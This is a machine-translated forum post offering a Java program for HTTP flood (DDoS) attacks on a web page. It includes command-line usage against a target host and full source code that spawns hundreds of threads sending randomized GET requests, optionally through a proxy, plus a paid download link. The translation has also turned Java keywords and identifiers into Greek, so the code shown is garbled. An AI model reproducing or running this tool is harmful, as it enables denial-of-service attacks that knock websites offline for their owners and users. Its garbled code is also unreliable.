Αυτό το άρθρο είναι ένα άρθρο καθρέφτη της αυτόματης μετάφρασης, κάντε κλικ εδώ για να μεταβείτε στο αρχικό άρθρο.

Άποψη: 15524|Απάντηση: 0

[Συμβουλές] Έκδοση Java του προγράμματος εισβολέα D-DOS

[Αντιγραφή συνδέσμου]
Δημοσιεύτηκε στις 1/12/2014 3:21:57 μ.μ. | | |
κωδικός βάζου
Επίθεση dDOS που υλοποιείται από java.
Ωστόσο, δεν διαφέρει από τα παραδοσιακά dDos.
Αυτό το λογισμικό είναι μια επίθεση DDOS σε μια σελίδα.
Τρόπος χρήσης:
java -jar ccddos.jar www.xxx.com 80 10 /index.do όνομα χρήστη=xxx 80

[mw_shl_code=java,true]import java.io.IOException;
εισαγωγή java.net.ConnectException;
εισαγωγή java.net.InetSocketAddress;
εισαγωγή java.nio.ByteBuffer;
εισαγωγή java.nio.channels.SelectionKey;
εισαγωγή java.nio.channels.Selector;
εισαγωγή java.nio.channels.SocketChannel;
εισαγωγή java.util.Iterator;
εισαγωγή java.util.Random;
εισαγωγή java.util.Set;
εισαγωγή java.util.Timer;
εισαγωγή java.util.TimerTask;
εισαγωγή java.util.Vector;

/**
* Νήματα δαίμονα
*
* @author διοίκηση
*
*/
Τεστ δημόσιας τάξης {
    ιδιωτικός οικοδεσπότης συμβολοσειρών, uri, param;
    ιδιωτική θύρα εισόδου·
    ιδιωτικό τελικό Vector<CCDDOSThread> v = νέο Vector<CCDDOSThread>();
    ιδιωτικό InetSocketAddress isa;
    private int threadsCount = 500; Αριθμός νημάτων
    private Random r = νέο Random();
    ιδιωτικό μεγάλο χρονικό όριο = 5000l;

    /**
     * Ανοίξτε την επίθεση
     */
    public void start() {
        για (int i = 0; i < threadsCount; i++) {
            CCDDOSThread t = νέο CCDDOSThread();
            v.add(t);
            t.start();
            
            
            
        }
        Χρονοδιακόπτης t = νέος χρονοδιακόπτης();
        t.schedule(new TimerTask() {
            public void run() {
                αριθμός int = 0, timeoutthreads = 0;
                μακρύ ct = System.currentTimeMillis();
                for (Iterator<CCDDOSThread> it = v.iterator(); it.hasNext(); ) {
                    CCDDOSThread th = it.next();
                    if (th.isCancle() || !th.isAlive()) {
                        it.remove();
                        th = μηδενικό;
                        αριθμός++;
                    } αλλιώς αν (ct - th.start > timeout) {
                        Χρονικό όριο, εξωτερικό τέλος
                        timeoutthreads++;
                        th.setCancle(true);
                        th.interrupt();
                        it.remove();
                        th = μηδενικό;
                        αριθμός++;
                    }
                }
                αν (πλήθος == 0) {
                    επιστροφή;
                }
                System.out.println("Το νήμα έχει κλείσει:"+count+", όπου είναι συνδεδεμένο το νήμα χρονικού ορίου:"
                        + τάιμ άουτνήματα);
                για (int i = 0; < μετρήσω. i++) {
                    CCDDOSThread th = νέο CCDDOSThread();
                    v.add(th);
                    th.start();
                }
            }
        }, 0l, 100l);
        System.out.println("Το νήμα Daemon ξεκίνησε:");
    }

    /**
     * @param args
     */
    public static void main(String[] args) {
        αν (args.length < 6) {
            System.out.println("Οδηγίες:");
            Σύστημα.έξω
                    .println("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]");
            System.out.println("");
            Σύστημα.έξοδος(0);
        } αλλιώς αν (args.length >= 8) {
            Ρύθμιση με εκπρόσωπο
            System.getProperties().put("proxySet", "true");
            System.getProperties().setProperty("http.proxyHost", args[6]);
            System.getProperties().setProperty("http.proxyPort", args[7]);
        }

        δοκιμή m = νέα δοκιμή();
        m.host = args[0];
        m.port = Ακέραιος.τιμήOf(args[1]);
        m.uri = args[3];
        m.param = args[4];
        m.threadsCount = Ακέραιος.τιμήOf(args[2]);
        m.timeout = Long.valueOf(args[5]);
        m.isa = νέο InetSocketAddress(m.host, m.port);
        m.start();
    }

    /**
     * Νήματα επίθεσης
     *
     * @author zhanghongbo
     *
     */
    Η κλάση CCDDOSThread επεκτείνει το νήμα {
        ιδιωτικό boolean cancle = ψευδές;
        public long start = System.currentTimeMillis();

        public void setCancle(boolean cancle) {
            this.cancle = cancle;
        }

        public boolean isCancle() {
            επιστροφή cancle?
        }

        public void run() {
            μακρά εκκίνηση = System.currentTimeMillis();
            Επιλογέας επιλογέα;
            δοκιμάστε {
                επιλογέας = Selector.open();
                SocketChannel sc;
                δοκιμάστε {
                    sc = SocketChannel.open(isa);
                } catch (ConnectException ex) {
                    System.out.println(ex.getMessage());
                    cancle = αληθές;
                    selector.close();
                    επιστροφή;
                }

                sc.configureBlocking(false);
                sc.register(επιλογέας, SelectionKey.OP_WRITE
                        | SelectionKey.OP_READ);
                Περιμένετε: ενώ (selector.select() > 0 && !cancle) {
                    if (System.currentTimeMillis() - έναρξη > χρονικό όριο) {
                        cancle = αληθές;
                        διάλειμμα περίμενε?
                    }
                    Set<?> readykey = selector.selectedKeys();
                    Iterator<?> it = readykey.iterator();
                    ενώ (it.hasNext() &&& !cancle) {
                        if (System.currentTimeMillis() - έναρξη > χρονικό όριο) {
                            cancle = αληθές;
                            διάλειμμα περίμενε?
                        }
                        Κλειδί επιλογής = (SelectionKey) it.next();
                        it.remove();
                        SocketChannel scc = (SocketChannel) skey.channel();

                        if ((skey.readyOps() &SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) {
                            Κεφαλή συμβολοσειράς = "GET " + uri + "?" + παράμετρος
                                    + "&rndnum=" + r.nextInt()
                                    + " HTTP/1.1\r\n" + "Κεντρικός υπολογιστής: " + κεντρικός υπολογιστής
                                    + "\r\n" + "Σύνδεση:κοντά\r\n" + "\r\n";
                            ByteBuffer bbf = ByteBuffer.wrap(head.getBytes());
                            scc.write(bbf);
                        }
                        skey.cancel();
                        scc.close();
                    }
                }
                selector.close();
                sc.close();

            } catch (IOException ex) {
                cancle = αληθές;
            }
        }
    }
}
[/mw_shl_code]

Λήψη τελικού προϊόντος και πηγαίου κώδικα: java ddos.zip (8.42 KB, Αριθμός λήψεων: 0, Τιμή πώλησης: 2 Κόκκος MB)





Προηγούμενος:Ας μιλήσουμε για τη μεγαλύτερη μυστηριώδη επίθεση DDoS 400G στην ιστορία
Επόμενος:Στείλτε το iPhone 6 για να μιλήσετε για την έκδοση χωρίς σημεία ρωγμής τεχνουργημάτων
Αποκήρυξη:
Όλο το λογισμικό, το υλικό προγραμματισμού ή τα άρθρα που δημοσιεύονται από το Code Farmer Network προορίζονται μόνο για μαθησιακούς και ερευνητικούς σκοπούς. Το παραπάνω περιεχόμενο δεν θα χρησιμοποιηθεί για εμπορικούς ή παράνομους σκοπούς, άλλως οι χρήστες θα υποστούν όλες τις συνέπειες. Οι πληροφορίες σε αυτόν τον ιστότοπο προέρχονται από το Διαδίκτυο και οι διαφορές πνευματικών δικαιωμάτων δεν έχουν καμία σχέση με αυτόν τον ιστότοπο. Πρέπει να διαγράψετε εντελώς το παραπάνω περιεχόμενο από τον υπολογιστή σας εντός 24 ωρών από τη λήψη. Εάν σας αρέσει το πρόγραμμα, υποστηρίξτε γνήσιο λογισμικό, αγοράστε εγγραφή και λάβετε καλύτερες γνήσιες υπηρεσίες. Εάν υπάρχει οποιαδήποτε παραβίαση, επικοινωνήστε μαζί μας μέσω email.

Mail To:help@itsvse.com